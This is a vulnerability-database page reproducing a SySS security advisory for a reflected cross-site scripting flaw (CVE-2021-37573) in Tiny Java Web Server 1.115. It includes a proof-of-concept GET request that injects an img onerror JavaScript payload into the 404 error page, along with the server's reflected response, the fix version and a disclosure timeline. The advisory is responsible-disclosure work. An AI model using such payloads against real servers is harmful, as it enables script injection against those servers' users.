Lucene search
K

Tiny Java Web Server 1.115 Cross Site Scripting

🗓️ 14 Aug 2021 00:00:00Reported by Maurizio RuchayType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 274 Views

Tiny Java Web Server 1.115 Cross Site Scripting vulnerability description, affected versions, proof of concept, solution, disclosure timeline, references, responsible disclosure, author's credit, manufacturer information, and disclaime

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2021-37573
9 Aug 202116:37
circl
CNNVD
TTiny Java Web Server 跨站脚本漏洞
9 Aug 202100:00
cnnvd
CVE
CVE-2021-37573
9 Aug 202112:42
cve
Cvelist
CVE-2021-37573
9 Aug 202112:42
cvelist
Nuclei
Tiny Java Web Server - Cross-Site Scripting
6 Jun 202603:01
nuclei
NVD
CVE-2021-37573
9 Aug 202113:15
nvd
Prion
Cross site scripting
9 Aug 202113:15
prion
RedhatCVE
CVE-2021-37573
22 May 202518:40
redhatcve
`Advisory ID: SYSS-2021-042  
Product: Tiny Java Web Server and Servlet Container   
(TJWS)  
Manufacturer: D. Rogatkin  
Affected Versions: <= 1.115  
Tested Versions: 1.107, 1.114  
Vulnerability Type: Cross-Site Scripting (CWE-79)  
Risk Level: Medium  
Solution Status: Fixed  
Manufacturer Notification: 2021-07-21  
Solution Date: 2021-07-23  
Public Disclosure: 2021-08-03  
CVE Reference: CVE-2021-37573  
Author of Advisory: Maurizio Ruchay, SySS GmbH  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Overview:  
  
Tiny Java Web Server and Servlet Container (TJWS) is a lightweight web  
server written in Java.  
  
The manufacturer describes the product as follows (see [1]):  
"The Miniature Java Web Server is built as a servlet container with HTTPD  
servlet providing standard Web server functionality."  
  
Due to improper input validation, the application is vulnerable to a  
reflected cross-site scripting attack.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerability Details:  
  
It is possible to inject malicious JavaScript code into the server's error  
page "404 Page Not Found".  
  
The given input is not properly validated and therefore reflected back  
and executed in a victim's browser.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Proof of Concept (PoC):  
  
The following GET request shows how JavaScript code can be placed on  
the page:  
  
===  
HTTP request:  
GET /te%3Cimg%20src=x%20onerror=alert(42)%3Est HTTP/1.1  
[...]  
Connection: close  
  
  
HTTP response:  
HTTP/1.1 404 te<img src=x onerror=alert(42)>st not found  
server: D. Rogatkin's TJWS (+Android, JSR340, JSR356)   
https://github.com/drogatkin/TJWS2.git/Version 1.114  
[...]  
content-length: 338  
connection: close  
  
<HTML><HEAD><TITLE>404 te<img src=x onerror=alert(42)>st not   
found</TITLE></HEAD><BODY BGCOLOR="#D1E9FE">  
[...]  
<H2>404 te<img src=x onerror=alert(42)>st not found</H2>  
[...]  
===  
  
If a browser renders the response, the JavaScript code is executed  
showing the message "42".  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
  
The issue has been addressed in the release version 1.116.[2]  
Therefore, all instances of TJWS should be updated to this version.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclosure Timeline:  
  
2021-07-02: Vulnerability discovered  
2021-07-21: Vulnerability reported to manufacturer  
2021-07-23: Patch released by manufacturer  
2021-08-03: Public disclosure of vulnerability  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
References:  
  
[1] Product website for Tiny Java Web Server and Servlet Container (TJWS):  
http://tjws.sourceforge.net/  
[2] Patch release on Github:  
https://github.com/drogatkin/TJWS2/releases/tag/v1.116  
[3] SySS Responsible Disclosure Policy  
https://www.syss.de/en/responsible-disclosure-policy  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Credits:  
  
This security vulnerability was found by Maurizio Ruchay of SySS GmbH.  
  
E-Mail: [email protected]  
Public Key:   
https://www.syss.de/fileadmin/dokumente/PGPKeys/Maurizio_Ruchay.asc  
Key ID: 0xC7D20E267F0FA978  
Key Fingerprint: D506 AB5A FE3E 09AE FFBE DEB2 C7D2 0E26 7F0F A978  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web  
site.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: https://creativecommons.org/licenses/by/3.0/deed.en  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation